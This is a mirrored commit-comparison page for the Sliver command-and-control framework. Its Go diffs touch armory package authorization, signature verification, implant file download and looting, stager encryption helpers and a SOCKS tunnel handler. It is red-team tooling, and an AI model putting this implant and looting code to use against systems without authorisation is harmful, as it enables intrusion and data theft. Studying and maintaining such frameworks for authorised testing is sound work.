mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
27
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c7844f57b3 | ||
|
|
23eef3d15c | ||
|
|
22b2704259 | ||
|
|
856fbb5974 | ||
|
|
6cbfe64f61 | ||
|
|
573ec4d800 | ||
|
|
11f93ab5b2 | ||
|
|
48a061d59e | ||
|
|
2b7506b393 | ||
|
|
2620758056 | ||
|
|
6262266cac | ||
|
|
37524596bb | ||
|
|
91108619f5 | ||
|
|
7972fce3cc | ||
|
|
30c569259d | ||
|
|
978a66bdb0 | ||
|
|
525eda0d15 | ||
|
|
16aa7742ba | ||
|
|
754aab265e | ||
|
|
4b2558da0c | ||
|
|
838db70177 | ||
|
|
136b50645e | ||
|
|
1345c5e7d1 | ||
|
|
ffb0b0e795 | ||
|
|
d7e740b50f | ||
|
|
bb5f42466e | ||
|
|
1d4422b465 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.2
|
||||
FROM golang:1.18.3
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -21,7 +21,9 @@ package assets
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -30,8 +32,10 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
// DefaultArmoryPublicKey - The default public key for the armory
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
@@ -39,9 +43,12 @@ var (
|
||||
}
|
||||
)
|
||||
|
||||
// ArmoryConfig - The armory config file
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
if armoryConfig.AuthorizationCmd == "" {
|
||||
return ""
|
||||
}
|
||||
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
|
||||
return ""
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
@@ -38,12 +38,15 @@ import (
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
ArmoryConfig *assets.ArmoryConfig `json:"-"`
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
// ArmoryPackage - JSON metadata for alias or extension
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// AmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
type ArmoryHTTPConfig struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
armoryResult := &indexCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
@@ -144,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -262,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -58,13 +58,13 @@ const (
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
//
|
||||
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
|
||||
indexResp := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, indexResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
@@ -19,17 +19,20 @@ package filesystem
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -47,19 +50,55 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
var lootDownload bool = true
|
||||
|
||||
download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
@@ -75,14 +114,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
|
||||
@@ -26,20 +26,26 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
@@ -47,68 +53,61 @@ func PerformDownload(remotePath string, fileName string, destination string, ctx
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return nil, err
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
return download, fmt.Errorf("%s\n", download.Response.Err)
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Decoding failed %s", err)
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
return download, nil
|
||||
}
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
var dst string
|
||||
var err error
|
||||
var lootType clientpb.LootType
|
||||
var fileType clientpb.FileType
|
||||
var lootName string = ""
|
||||
|
||||
if ctx.Flags.Bool("loot") {
|
||||
// The destination is the loot store.
|
||||
dst = "loot"
|
||||
lootName = ctx.Flags.String("name")
|
||||
|
||||
lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Determine file type after the download is complete
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
// If this download is not being looted, make sure the local path exists
|
||||
dst, err = filepath.Abs(localPath)
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -117,74 +116,32 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
}
|
||||
|
||||
download, err := PerformDownload(src, fileName, dst, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if dst == "loot" {
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
|
||||
@@ -26,7 +26,6 @@ import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -109,7 +108,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
App: grumble.New(&grumble.Config{
|
||||
Name: "Sliver",
|
||||
Description: "Sliver Client",
|
||||
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
|
||||
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
|
||||
PromptColor: color.New(),
|
||||
HelpHeadlineColor: color.New(),
|
||||
HelpHeadlineUnderline: true,
|
||||
|
||||
@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.2"
|
||||
GO_VER="1.18.3"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -325,11 +325,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
gzipData := bytes.NewBuffer([]byte{})
|
||||
gzipWrite(gzipData, rawData)
|
||||
download = &sliverpb.Download{
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
} else {
|
||||
download = &sliverpb.Download{Path: target, Exists: false}
|
||||
|
||||
@@ -19,92 +19,26 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/things-go/go-socks5"
|
||||
